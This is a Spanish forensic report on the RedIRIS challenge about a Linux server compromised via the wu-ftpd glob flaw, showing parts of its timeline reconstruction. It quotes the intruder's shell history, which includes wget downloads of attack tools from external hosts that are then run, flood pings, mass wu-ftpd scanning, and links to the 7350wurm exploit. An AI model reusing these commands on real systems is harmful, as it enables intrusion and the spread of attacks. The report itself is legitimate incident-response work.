(Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

48
Respuesta al Reto de Análisis Forense Informe Técnico Diciembre de 2003

Transcript of (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Page 1: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Respuesta al

Reto de Análisis Forense

Informe Técnico

Diciembre de 2003

Page 2: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Tabla de Contenidos

TU0.UT TURESUMEN EJECUTIVOUT ........................................................................................ 1

TU1.UT TUINTRODUCCIÓNUT .................................................................................................... 3

TU2.UT TUENTORNO DE INVESTIGACIÓNUT ........................................................................ 5

TU3.UT TUPROCESO DE ANÁLISISUT....................................................................................... 7

TU4.UT TUCRONOGRAMA DE ACTIVIDADES UT................................................................... 9

TU5.UT TUANÁLISIS DE ARTEFACTOSUT .............................................................................. 20 TU5.1.UT TUFICHEROS BAJO /VAR/FTP/NERODUT ....................................................................... 20 TU5.2.UT TUFICHEROS BAJO /ROOT/.,UT .................................................................................... 25 TU5.3.UT TUFICHEROS BAJO /VAR/TMP/.,UT............................................................................... 30 TU5.4.UT TUFICHEROS BAJO /BIN, /USR/BIN Y OTROS DIRECTORIOS DEL SISTEMAUT.................. 31 TU5.5.UT TURESUMEN DE LA ACTIVIDAD IRCUT ....................................................................... 38

TU6.UT TUDIRECCIONES IP IMPLICADAS UT....................................................................... 39

TU7.UT TUCONCLUSIONES UT................................................................................................... 41 TU7.1.UT TUCONCLUSIÓN 1UT................................................................................................... 41 TU7.2.UT TUCONCLUSIÓN 2UT................................................................................................... 41 TU7.3.UT TUCONCLUSIÓN 3UT................................................................................................... 42 TU7.4.UT TUCONCLUSIÓN 4UT................................................................................................... 42

TU8.UT TUREFERENCIAS UT ...................................................................................................... 43

TU9.UT TUANEXOS UT .................................................................................................................. 44

TU9.1.UT TUMAIL ENVIADO EN INSTALACIÓN DE NERODUT....................................................... 44

Page 3: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 1

0. Resumen ejecutivo

Este documento es el informe técnico en respuesta al reto de análisis forense lanzado por RedIRIS en colaboración con otras empresas en Noviembre de 2003 a través de su página web HTUhttp://www.rediris.es/cert/ped/retoUTH.

El objetivo del mismo es el análisis de un sistema Linux previamente atacado y comprometido. Para ello, como única información, se proporcionaron las imágenes de las distintas particiones del sistema comprometido.

Dichas imágenes fueron analizadas utilizando una combinación de las siguientes herramientas:

The Sleuth Kit[3] Conjunto de herramientas de análisis forense de libre distribución.

Autopsy[2] Interfaz gráfico para The Sleuth Kit. También de libre distribución.

VMWare[1] Aplicación comercial que permite emular máquinas virtuales Intel x86.

Red Hat Linux[9] Muchos de los comandos del sistema constituyen verdaderas herramientas de análisis forense.

Google[10] Buscador de información en la web.

Las evidencias encontradas indican que el incidente investigado puede resumirse de la siguiente manera:

• El sistema fue instalado y conectado a la red la tarde del miércoles 21 de agosto de 2002.

• Un atacante logró acceso como root al sistema explotando la vulnerabilidad CVE-2001-0550 (wu-ftpd glob) del demonio servidor de FTP "wu-ftpd". Esto sucedió el viernes 23 de agosto de 2002 a las 00:22:48 horas, poco más de un día después de su instalación.

• A continuación instaló y ejecutó parcialmente un paquete de programas denominado "nerod.tgz". Este grupo de programas constituían un "rootkit", destinado a la apertura de puertas traseras y la ocultación de las actividades del intruso.

• Después accedió al sistema utilizando una de sus puertas traseras, cerró el camino a otros atacantes que intentaran explotar la misma vulnerabilidad, e instaló dos paquetes de programas bajo "/root/.,": psybnc y awu. El primero es un

Page 4: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 2

conocido proxy de IRC que permite realizar conexiones IRC de forma anónima y el segundo es un conjunto de programas que permiten el ataque automático a multitud de sistemas con la vulnerabilidad de wu-ftpd.

• Finalmente, en una nueva conexión mediante una de sus puertas traseras, el intruso descargó e instaló dos nuevos paquetes de programas, esta vez bajo "/var/.,": psybnc (una versión más reciente) y emech (manu.tgz). El primero es otra versión del programa ya comentado, y el segundo es un cliente automático de IRC (IRC bot).

• En paralelo, se registró cierta actividad de los proxies IRC instalados por el atacante.

• El mismo viernes 23 de agosto de 2002, desde las 12:33:15 hasta las 15:36:30 se realizaron, por parte de los administradores del sistema y en vivo, las copias de las particiones de disco del sistema para su posterior análisis.

El resto del presente informe detalla las evidencias encontradas, así como el proceso de análisis seguido.

Page 5: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 3

1. Introducción

Este documento es la respuesta al reto de análisis forense lanzado por RedIRIS en colaboración con otras empresas en Noviembre de 2003 a través de su página web HTUhttp://www.rediris.es/cert/ped/retoUTH.

El objetivo del mismo es el análisis de un sistema Linux previamente atacado y comprometido. Para ello como única información se proporcionan las imágenes de las distintas particiones del sistema comprometido.

Aunque la normativa del reto no expone el detalle de los objetivos a cubrir en el informe, sí manifiesta como tres principales objetivos los siguientes:

• ¿Quién ha realizado el ataque?

• ¿Cómo se realizo el ataque?

• ¿Qué hizo el atacante una vez dentro del sistema?

En el presente informe se intenta contestar a dichas preguntas, pero manteniendo un orden tal que su contenido sea lo más didáctico posible. Asimismo, la limitación de mantener el informe a un máximo de 60 páginas obliga a realizar una breve síntesis de todo el trabajo realizada. Así pues, el esquema seguido para contestar al reto consta de los siguientes apartados:

Entorno de Investigación

El propósito de este capítulo es detallar las herramientas empleadas en el análisis, así como la construcción del entorno de análisis forense usado para la investigación.

Proceso de análisis

En este apartado se detalla de forma resumida la secuencia de actividades llevada a cabo para la obtención de las evidencias objeto del análisis. Debido a la limitación de espacio, su exposición es muy sintética, puesto que relatar en detalle todas y cada una de las acciones realizadas llevaría aparejada mucha más información.

Cronograma de actividades

El objeto de este capítulo es mostrar todas las actividades realizadas por el (los) atacante(s) de una forma secuencial, desde el inicio de las mismas hasta la realización de las imágenes de las particiones. Se muestra así de un vistazo qué es lo que hizo, cuándo lo hizo y la evidencia que soporta estos datos.

Análisis de artefactos

En este capítulo se analizan todos los ficheros creados en el sistema como consecuencia del ataque, indicando su objetivo y cualquier otro dato de interés relativo a los mismos.

Page 6: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 4

Direcciones IP implicadas

Se intenta aquí reflejar la información obtenida sobre las direcciones IP que de una u otra manera se han visto implicadas en el incidente, incluyendo la de quien ó quienes atacaron el sistema.

Conclusiones

Finalmente, este apartado aglutina los principales puntos que se obtienen como consecuencia del análisis efectuado.

Page 7: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 5

2. Entorno de investigación

Para facilitar el análisis del sistema facilitado en forma de imágenes de particiones, creamos varios entornos de trabajo empleando vmware workstation[1].

En primer lugar, en un disco instalamos Red Hat 9.0, junto con todas las herramientas de análisis forense a emplear (autopsy, tct, dde, etc...). A continuación, creamos un nuevo disco virtual de vmware de 4Gb y, con ayuda de fdisk, creamos una serie de particiones con –exactamente- el mismo tamaño que las imágenes obtenidas con dd proporcionadas en el reto. Finalmente, copiamos con dd las imágenes a estas particiones recién creadas. Con ello obtuvimos un disco virtual que contiene todos los datos del reto.

La ventaja de crear un disco así es que, configurando la máquina virtual de vmware para acceder al mismo en modo “no-persistente”, podemos usar el mismo cuantas veces queramos despreocupándonos de la posibilidad de alterar accidentalmente la evidencia proporcionada. Adicionalmente, una ventaja no menor cuando se trabaja en equipo, es que la ‘auto-compresión’ que vmware hace con sus discos virtuales hizo que el tamaño teórico de 4Gb tuviera cabida en un simple CD-ROM.

En segundo lugar, tras determinar que el sistema original era un Red Hat 7.1 Server, decidimos crear un segundo sistema virtual vware con un RedHat 7.1 “limpio” que tuviera acceso al disco del reto, para poder de forma fácil comparar el sistema analizado con respecto a uno estándar.

El disco “imagen” del reto no es arrancable, puesto que no tiene el sector de boot configurado. Así pues, decidimos configurar ese sector adecuadamente y crear un tercer sistema virtual que nos permitiera hacer análisis dinámico de los posibles binarios que encontrásemos en él. Para facilitar dicho análisis, creamos un CD-ROM con las herramientas de análisis (y la mayoría de comandos más usados de Linux) compiladas estáticamente, y lo montamos en esta tercera máquina virtual.

El esquema siguiente resume los tres sistemas virtuales creados:

Page 8: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 6

Todos los discos virtuales (excepto en los casos en que ha sido necesario realizar algún cambio) son montados como ‘no persistentes’ para evitar cualquier posibilidad de contaminación de datos.

Para compartir información con el sistema ‘host’ (el PC real sobre el que se ejecuta vmware) , empleamos cuando es necesario los directorios compartidos (Shared Folders) de vmware.

En el sistema de análisis forense (Red Hat 9.0) incluimos también una copia de los ficheros con las imágenes de las particiones del sistema a analizar, de modo que Autopsy pudiera trabajar con ellos.

Re d Hat 9.0+ He rramie ntasAnálisis Fo re nse

Re toRe dIris

Re d Hat 7.1Se rve r

Re to Re dIrisBOOTABLE

Share dFo lde r

CD-ROM co nHe rramie ntasAnálisis

Page 9: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 7

3. Proceso de análisis

De forma resumida, el proceso empleado en el análisis del sistema comprometido ha sido el siguiente:

1- Descargar las imágenes de las particiones desde HTUwww.rediris.esUTH y verificar el checksum md5 facilitado para todas ellas.

2- Configuración del entorno de investigación, tal y como se describe en el capítulo anterior. Para ello fue necesario un primer montaje de las particiones para determinar que se trataba de un sistema Red Hat 7.1 y averiguar los paquetes instalados mediante el comando

rpm –q –a --dbpath /iris/var/lib/rpm

(donde /iris es el punto de montaje de las particiones en nuestro entorno vmware primario de investigación) Así ya fue posible instalar un sistema Red Hat 7.1 “limpio” con lo misma configuración.

3- Ejecución de ‘autopsy’ sobre las particiones, creando un nuevo caso en Autopsy y dando de alta en él las imágenes del sistema a analizar. La siguiente figura muestra el aspecto de Autopsy ofreciendo las imágenes del sistema comprometido para su análisis:

Con ello estamos ya en condiciones de obtener un ‘cronograma’ básico desde el punto de vista de sistema de ficheros sobre el que investigar.

4 – Obtener una primera lista de los ficheros modificados, de varias formas:

4.1- Verificando la integridad de los paquetes rpm instalados, mediante el comando:

rpm --verify –a --root /iris

Page 10: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 8

4.2- Buscando los ficheros borrados en el sistema con la ayuda de ‘autopsy’.

4.3- Obteniendo una lista de todos los ficheros en nuestro sistema RedHat 7.1 “limpio” con su checksum md5 y comparándola con una lista similar en el sistema objeto de análisis.

5 – Análisis de los principales ficheros de log: /var/log/*, .bash_history, etc...

6 – A partir de aquí, el trabajo se vuelve bastante manual. Es evidente que hay mucha actividad y cambios en el sistema que son normales y no corresponden a actividad de ataque alguna, como instalación del sistema, escritura en ficheros de log, ejecución de ‘slocate’ desde cron, etc... que añade mucho ruido a las evidencias recogidas.

Para el análisis temporal hemos intentado verificar cualquier hipótesis desde varias fuentes. Por ejemplo, comprobando la consistencia entre los comandos que aparecen en /root/.bash_history y lo que indica el ‘timeline’ generado por autopsy.

En cuanto al análisis de binarios y ficheros desconocidos, las herramientas que hemos usado han incluido:

file, strings, objdump y grep para determinar el contenido de los mismos.

strace, ltrace, gdb, para el análisis dinámico de los binarios, ejecutándolos siempre en el entorno controlado vmware.

y, en general, las técnicas de análisis descritas en

HTUhttp://www.honeynet.org/reverse/index.htmlUTH

Finalmente, señalar que, como siempre, una de las mayores herramientas de ayuda a cualquier análisis forense es HTUhttp://www.google.com UTH .

Page 11: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 9

4. Cronograma de actividades

A continuación se presenta, en forma de tabla, un sumario del cronograma de actividades detectadas en el sistema:

Periodo (Agosto 2002) Acción Evidencia Asociada Miércoles 21 20:15:46 a 20:56:20

Instalación del sistema operativo (Red Hat 7.1)

Datos: El fichero /etc/redhat-release contiene la versión del sistema operativo:

# cat /mnt/reto/etc/redhat-release Red Hat Linux release 7.1 (Seawolf) #

Ese dato es corroborado por el fichero /var/log/dmesg, y por la lista de paquetes instalados en el sistema según la base de datos de RPM. Ordenándolos por fecha de instalación, se obtiene la franja horaria en la que se produjo la instalación del sistema:

# rpm -qa --dbpath /mnt/reto/var/lib/rpm --last wget-1.5.3-1 Fri 23 Aug 2002 12:25:45 AM CEST zlib-devel-1.1.3-22 Wed 21 Aug 2002 08:56:20 PM CEST ypserv-1.3.11-13 Wed 21 Aug 2002 08:56:18 PM CEST [...] indexhtml-7.1-2 Wed 21 Aug 2002 08:17:43 PM CEST glibc-common-2.2.2-10 Wed 21 Aug 2002 08:17:39 PM CEST ghostscript-fonts-5.50-3 Wed 21 Aug 2002 08:15:46 PM CEST #

El último paquete instalado, wget-1.5.3-1, fue instalado a posteriori por un intruso, tal y como se muestra más adelante. La lista ordenada de accesos a ficheros del sistema, construida mediante la opción "Timeline" de Autopsy, corrobora la franja horaria en la que se produjo la instalación del sistema.

Jueves 22 (todo el día)

El sistema recibe algunas conexiones a los servicios FTP y SSH, sin consecuencias. Por lo demás, actividad normal del sistema, correspondiente a los trabajos planificados mediante "cron".

Datos: Del fichero /var/log/messages:

Aug 22 08:17:25 localhost ftpd[6586]: FTP session closed Aug 22 08:24:29 localhost ftpd[6589]: FTP session closed Aug 22 06:26:29 localhost ftpd[6590]: ANONYMOUS FTP LOGIN FROM

Page 12: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 10

Periodo (Agosto 2002) Acción Evidencia Asociada

218.146.115.18 [218.146.115.18], mozilla@ Aug 22 08:30:43 localhost ftpd[6595]: lost connection to a213-84-155-131.adsl.xs4all.nl [213.84.155.131] Aug 22 08:30:43 localhost ftpd[6595]: FTP session closed Aug 22 08:31:37 localhost ftpd[6596]: lost connection to a213-84-155-131.adsl.xs4all.nl [213.84.155.131] Aug 22 08:31:37 localhost ftpd[6596]: FTP session closed Aug 22 13:12:00 localhost ftpd[6733]: FTP session closed Aug 22 23:31:01 localhost ftpd[7019]: FTP session closed Aug 22 23:37:55 localhost ftpd[7020]: FTP session closed Aug 23 00:12:15 localhost ftpd[7045]: FTP session closed Aug 23 00:19:19 localhost ftpd[7046]: FTP session closed

Del fichero /var/log/secure, además de las conexiones FTP ya mostradas:

Aug 22 19:16:07 localhost sshd[6902]: Did not receive identification string from 195.116.20.232. Aug 22 20:16:07 localhost sshd[649]: Generating new 768 bit RSA key. Aug 22 20:16:08 localhost sshd[649]: RSA key generation complete.

El resto de la actividad mostrada por el "Timeline" de Autopsy, se explica por los trabajos normales del sistema, ejecutados por cron (/etc/cron.hourly, /etc/cron.daily, /etc/cron.d)

Viernes 23 00:22:48

Un atacante remoto logra acceso como root al sistema explotando la vulnerabilidad CVE-2001-0550 (wu-ftpd glob) del demonio servidor de FTP "wu-ftpd". El atacante utiliza el exploit 7350wurm o una variación del mismo, que proporciona una shell interactiva de root en el sistema atacado si éste es vulnerable. El ataque fue es lanzado desde la dirección IP 200.47.186.114.

Datos: El log del sistema /var/log/syslog, muestra unas conexiones FTP anónimas desde la dirección IP 200.47.186.114 y a continuación la parada del servicio de registro de mensajes del sistema (syslog). Por algún error en la aplicación de las zonas horarias por parte del demonio wu-ftpd, la fecha y hora de los dos primeros mensajes están desplazados dos horas en el tiempo: "Aug 22 22:21" corresponde en realidad a "Aug 23 00:21":

Aug 22 22:21:05 localhost ftpd[7049]: ANONYMOUS FTP LOGIN FROM 200.47.186.114 [200.47.186.114], mozilla@ Aug 22 22:22:48 localhost ftpd[7052]: ANONYMOUS FTP LOGIN FROM 200.47.186.114 [200.47.186.114], mozilla@ Aug 23 00:25:03 localhost kernel: Kernel logging (proc) stopped. Aug 23 00:25:03 localhost kernel: Kernel log daemon terminating. ago 23 00:25:04 localhost syslog: klogd shutdown succeeded Aug 23 00:25:04 localhost exiting on signal 15

Obsérvese que la contraseña suministrada por el atacante en los

Page 13: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 11

Periodo (Agosto 2002) Acción Evidencia Asociada

accesos anónimos a FTP: "mozilla@". Esto indica que probablemente utilizó el exploit de TESO (7350wurm) o alguna variación el mismo, ya que éste utiliza el nombre de usuario "ftp" y la contraseña "mozilla@" para lograr acceso FTP anónimo. Además, una copia de ese exploit fue introducida posteriormente en el sistema por el atacante, en "/root/.,/aw/wu" TP

1PT. El exploit, tanto una versión compilada como su

código fuente, están disponibles en las siguientes direcciones:

TUhttp://packetstormsecurity.nl/removed/7350wurm.desc

Uhttp://packetstormsecurity.nl/removed/7350wurm

Uhttp://packetstormsecurity.nl/0205-exploits/7350wurm.cU

El log /var/log/secure confirma estos accesos anónimos y muestra una serie de escaneos previos desde la misma dirección IP:

Aug 23 00:12:13 localhost xinetd[812]: START: ftp pid=7045 from=200.47.186.114 Aug 23 00:12:15 localhost xinetd[812]: EXIT: ftp pid=7045 duration=2(sec) Aug 23 00:19:18 localhost xinetd[812]: START: ftp pid=7046 from=200.47.186.114 Aug 23 00:19:19 localhost xinetd[812]: EXIT: ftp pid=7046 duration=1(sec) Aug 23 00:21:04 localhost xinetd[812]: START: ftp pid=7049 from=200.47.186.114 Aug 23 00:22:47 localhost xinetd[812]: START: ftp pid=7052 from=200.47.186.114

La lista ordenada de accesos a ficheros del sistema, construida mediante la opción "Timeline" de Autopsy, muestra los siguientes accesos durante ese tiempo:

Fri Aug 23 2002 00:22:47 2132 m.c -/-rw------- root/ssh root 12054 /var/log/secure Fri Aug 23 2002 00:22:48 4096 mac -/-rw-r--r-- root/ssh root 38169 /var/run/ftp.rips-all 168 .a. -/-rw------- root/ssh root 28245 /etc/ftpusers 104 .a. -/-rw------- root/ssh root 28244 /etc/ftphosts Fri Aug 23 2002 00:24:19 544317 m.c -/-rw-r--r-- root/ssh root 30143 /var/ftp/nerod.tar.gz

Nótese que tras el acceso anónimo a FTP de las 00:22:48, enseguida aparece la creación del fichero "/var/ftp/nerod.tar.gz", sin duda instalado por el intruso, como se describe en el siguiente tramo de este cronograma. Información detallada sobre el fichero puede encontrarse en la sección "Análisis de artefactos". La vulnerabilidad, que fue publicada en abril de 2001, se describe en los siguientes boletines de seguridad:

TP

1PT Véase sección "análisis de artefactos".

Page 14: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 12

Periodo (Agosto 2002) Acción Evidencia Asociada

Uhttp://www.cert.org/advisories/CA-2001-33.html

Uhttp://www.kb.cert.org/vuls/id/886083

Uhttp://www.kb.cert.org/vuls/id/AAMN-54WPCS

Uhttp://rhn.redhat.com/errata/RHSA-2001-157.html

Uhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0550U

La dirección IP desde la cuál se lanzó el ataque, 200.47.186.114, carece de nombre asociado y pertenece a un proveedor de servicios de Internet localizado en Perú (Uhttp://www.comsat.com.pe U).TP

2PT. La sección "6 Direcciones IP implicadas"

ofrece más información sobre esta dirección IP.

Viernes 23 (omitido en adelante) 00:22:48 a 00:26:08

El intruso copia al sistema el fichero /var/ftp/nerod.tar.gz, lo descomprime y ejecuta el script de instalación. Esto da lugar a todos los ficheros presentes en el sistema bajo /var/ftp/nerod, y que se analizan en profundidad en la sección "Análisis de artefactos". En resumen se trata de un rootkit con diversas utilidades, que entre otras cosas instala un par de puertas traseras: añade el usuario "ssh" con UID 0, por tanto equivalente a root, instala un servidor SSH que no guarda ningún tipo de información de registro, escuchando en el puerto 1981, y una shell escuchando en el puerto 465 (smtps) que simula un servidor Sendmail. Información más detallada en la sección "Análisis de artefactos". No obstante, la ejecución del script de instalación es abortada a mitad de ejecución, justo tras enviar un correo electrónico con información sobre el sistema a la dirección [email protected]. Posiblemente el atacante aborta la ejecución pulsando CTRL-C al darse cuenta de que la instalación envía correo a direcciones posiblemente no controladas por él.

Datos: Ese mail enviado, aunque fue borrado automáticamente por el sistema tras su envío, es recuperable de la zona libre de disco de la partición /var, utilizando Autopsy. En la sección final de este informe se puede encontrar un anexo con el contenido de dicho mensaje. Tanto la descompresión del rootkit como la ejecución de su script de instalación y la interrupción de dicha ejecución en el punto indicado se confirman observando los accesos a ficheros registrados (Timeline de Autopsy).

TP

2PT Tanto la ausencia de asociación de nombre como la pertenencia de la dirección IP analizada al proveedor

de servicios indicado, corresponden a la actualidad (diciembre 2003), dado que no existe un registro que permita conocer la trayectoria histórica de cada dirección IP, sino sólo las asignaciones actuales.

Page 15: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 13

Periodo (Agosto 2002) Acción Evidencia Asociada 00:27:09 a 00:27:31

Tras una pausa de 1 minuto, añade un usuario al sistema ("nerod") con su correspondiente contraseña, usando los comandos adduser y passwd.

Datos: En la partición de swap (Unit 352 (4096 bytes) in images/192.168.3.10-hda9.dd ) se puede encontrar el siguiente mensaje:

<38>Aug 23 00:27:09 adduser[7397]: new group: name=nerod, gid=501

Y el timeline de Autopsy muestra los siguientes accesos a ficheros:

Fri Aug 23 2002 00:27:09 124 .a. -/-rw-r--r-- root/ssh root 40166 /etc/skel/.bashrc 747 mac -/-rw-r--r-- nerod nerod 63365 /home/nerod/.emacs 224 mac -/-rw-r--r-- nerod nerod 63363 /home/nerod/.bash_profile 400 m.. -r-------- root/ssh root 28264 <192.168.3.10-hda8.dd-dead-28264> 124 mac -/-rw-r--r-- nerod nerod 63364 /home/nerod/.bashrc [...] 4096 m.c d/drwx------ nerod nerod 63361 /home/nerod 24 mac -/-rw-r--r-- nerod nerod 63362 /home/nerod/.bash_logout 3728 .a. -/-rw-r--r-- root/ssh root 40184 /etc/skel/.screenrc 52348 .a. -/-rwxr-xr-x root/ssh root 159006 /usr/sbin/useradd 96 .a. -/-rw------- root/ssh root 40163 /etc/default/useradd 7 .a. l/lrwxrwxrwx root/ssh root 158994 /usr/sbin/adduser -> useradd [...] 13536 .a. -/-r-s--x--x root/ssh root 159701 /usr/bin/passwd 13137 .a. -/-rwxr-xr-x root/ssh root 6041 /lib/security/pam_env.so 210 .a. -/-rw-r--r-- root/ssh root 60254 /etc/pam.d/other 211 .a. -/-rw-r--r-- root/ssh root 60256 /etc/pam.d/passwd [...] Fri Aug 23 2002 00:27:13 1024 .a. -/-rw-r--r-- root/ssh root 175310 /usr/lib/cracklib_dict.hwm Fri Aug 23 2002 00:27:29 42116 .a. -/-rw-r--r-- root/ssh root 175312 /usr/lib/cracklib_dict.pwi 828334 .a. -/-rw-r--r-- root/ssh root 175311 /usr/lib/cracklib_dict.pwd Fri Aug 23 2002 00:27:31 856 m.. -/-rw------- root/ssh root 28261 /etc/shadow- 1044 m.. -rw-r--r-- root/ssh root 28265 <192.168.3.10-hda8.dd-dead-28265> 1044 m.. -/-rw------- root/ssh root 28123 /etc/passwd-

00: 56:20 a 00: 56:39

Tras una pausa de 30 minutos, el intruso vuelve a conectarse al sistema usando una de sus puertas traseras.

Page 16: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 14

Periodo (Agosto 2002) Acción Evidencia Asociada

Crea el directorio "/root/.,". Intenta descargar dos paquetes de herramientas de U www.geocities.com U, pero sin éxito. Comete errores de tecleo (geocitites en vez de geocities). Borra el usuario "ftp" del sistema, usando el comando "userdel". Además, incluye los nombres de usuario "ftp", "anonymous" y "ssh" en el fichero /etc/ftpusers para que no se puedan utilizar para hacer conexiones FTP. De esta manera, no será posible realizar conexiones FTP anónimas al sistema y por tanto no será posible aprovechar la vulnerabilidad de wu-ftpd sin conocer un nombre de usuario y su contraseña TP

3PT.

Datos: La siguiente porción de /root/.bash_history recoge esta actividad y

se corresponde perfectamente con lo que se puede observar en los accesos a ficheros del timeline de Autopsy:

w mkdir ., cd ., ftp ftp www.0catch.com wget www.geocitites.com/neala19/psybnc2.2.2.tar.gz wget www.geocitites.com/neala19/psybnc wget www.geocities.com/master0n/awu.tgz wget www.geocities.com/master0n/awu.tgz echo ftp >> /etc/ftpusers echo anonymous >> /etc/ftpusers echo ssh >> /etc/ftpusers echo ssh >> /etc/ftp echo ssh >> /etc/ssh /usr/sbin/userdel ftp

01:16:55 a 01:28:32

Tras una pausa de 20 minutos, el intruso copia, descomprime y ejecuta un nuevo paquete de software: /root/.,/psyBNC.tar.gz. Se trata de un conocido proxy de IRC, que permite mantener conexiones de forma anónima, entre otras funcionalidades. En el apartado "Análisis de artefactos" se ofrece información más detallada. Nota: En realidad la pausa es de algo menos de 20 minutos, ya que hay que descontar el tiempo que durara la descarga del programa.

Datos: La siguiente porción de /root/.bash_history recoge esta actividad y se corresponde perfectamente con lo que se puede observar en los accesos a ficheros del timeline de Autopsy:

wget www.geocities.com/gavish19/psyBNC.tar.gz ftp tar zxvf psyBNC.tar.gz

TP

3PT Para explotar la vulnerabilidad de wu-ftpd glob es necesario autentificarse primero ante el servidor de

FTP, aunque sea de manera anónima.

Page 17: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 15

Periodo (Agosto 2002) Acción Evidencia Asociada

cd psybnc makew make ./psybnc

01:41:51 a 01:46:19

Tras una pausa de 13 minutos, el intruso copia, descomprime y ejecuta un nuevo paquete de software: /root/.,/awu.tgz. No obstante, antes de la descarga, comprueba cuánto tiempo lleva arrancado el sistema (comando "uptime"), si hay alguien más conectado al sistema (comando "w"), y la conectividad con la dirección IP 80.96.22.169 usando el comando "ping". Una vez instalado el paquete awu, el intruso se desconecta. Se trata de un "scanner" que automatiza la intrusión en sistemas con wu-ftpd vulnerable. En el apartado "Análisis de artefactos" se ofrece información más detallada. El intruso ejecutó el programa "awu" contra la red "12.216.0.0/16" (comando "./awu 12.216) pero interrumpió su ejecución al poco tiempo pulsando CTRL-C y abandonó el sistema con exit. Nota: En realidad la pausa es de algo menos de 13 minutos, ya que hay que descontar el tiempo que durara la descarga del programa.

Datos: La siguiente porción de /root/.bash_history recoge esta actividad y se corresponde perfectamente con lo que se puede observar en los accesos a ficheros del timeline de Autopsy:

uptime w ping -f -s6000 80.96.22.169 ping -f -s6000 80.96.22.169 ls cd ., ls wget www.geocities.com/master0n/awu.tgz tar zxvf awu.tgz cd aw ./awu 12.216 cexit exit

Además, estos comandos también se pueden observar en la partición de swap del sistema analizado.

03:19:51 a 03:45:36

Tras una franja de dos horas sin actividad reflejada en los últimos accesos ficheros, se observa actividad esporádica de "psybnc". En la sección "Resumen de la actividad IRC" se ofrecen detalles sobre esta actividad.

Datos: Timeline de Autopsy:

Fri Aug 23 2002 03:19:51 0 mac -/-rw------- root/ssh root 56292 /root/.,/psybnc/log/USER2.TRL 1024 m.c d/drwxrwxr-x pepelu pepelu 56278 /root/.,/psybnc/log Fri Aug 23 2002 03:23:56 1564 ma. -/-rw------- root/ssh

Page 18: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 16

Periodo (Agosto 2002) Acción Evidencia Asociada

root 56293 /root/.,/psybnc/motd/USER2.MOTD.old Fri Aug 23 2002 03:44:38 1561 ma. -/-rw------- root/ssh root 42362 /root/.,/psybnc/psybnc.conf.old Fri Aug 23 2002 03:45:36 286 .a. -/-rw------- root/ssh root 42367 /root/.,/psybnc/USER1.LOG

04:02:00 a 04:03:59

Actividad normal de cron.

Datos: Timeline de Autopsy.

09:11:17 a 09:50:42

De nuevo actividad esporádica de "psybnc". En la sección "Resumen de la actividad IRC" se ofrecen detalles sobre esta actividad.

Datos: Timeline de Autopsy.

10:17:03 a 10:20:42

Nueva sesión interactiva de un intruso. Posiblemente se trate de un segundo intruso aprovechando alguna de las puertas traseras dejadas por el primer intruso, ya que en esta nueva sesión, quien fuera que estuviera conectado instaló una segunda copia de "psybnc", en un directorio distinto: "/var/tmp/.,". Otra indicación de que se trataría de personas distintas se obtiene al comparar los canales y "nicks" utilizados en las sesiones de IRC por ambas copias de psybnc, que resultan ser distintos. Sin embargo, la elección del nombre del directorio ".," indica que podría tratarse de la misma persona o alguien de su círculo. Sea el mismo intruso o uno diferente, seguiremos refiriéndonos a él como "el intruso". En esta ocasión, el intruso instala dos paquetes de programas: una nueva copia de psybnc ("psy.tgz"), como ya se ha comentado, y otro paquete llamado "manu.tgz". Psybnc, como ya se ha indicado, se trata de un conocido proxy de IRC, que permite mantener conexiones de forma anónima, entre otras funcionalidades. El paquete "manu.tgz" contiene el programa "emech", que es un "IRC bot" (cliente automático de IRC). El binario "emech" está renombrado a "httpd", probablemente para intentar pasar desapercibido con el nombre de un servidor web estándar. Este fichero está contaminado con el virus RST.b. La ejecución de este programa provocó que se infectaran también múltiples programas del sistema bajo /usr/bin y la aparición de los ficheros /dev/hdx1 y /dev/hdx2. En el apartado de referencias se ofrecen enlaces con información completa sobre este virus. En el apartado "Análisis de artefactos" se ofrece información más detallada

Page 19: (Informatica Seguridad Analisis) Reto Informe Tecnico Analisis Forense Rediris

Informe técnico Reto de Análisis Forense

Pág. 17

Periodo (Agosto 2002) Acción Evidencia Asociada

sobre ambos paquetes. El archivo original conteniendo cada uno de los paquetes fue borrado por el intruso tras su instalación, pero fue posible recuperar para su análisis el paquete "manu.tgz", utilizando Autopsy. NOTA: Con estos comandos finaliza el archivo /root/.bash_history, aunque su fecha de última modificación sugiere que fue alterado dos horas después. Este hecho se explica más adelante.

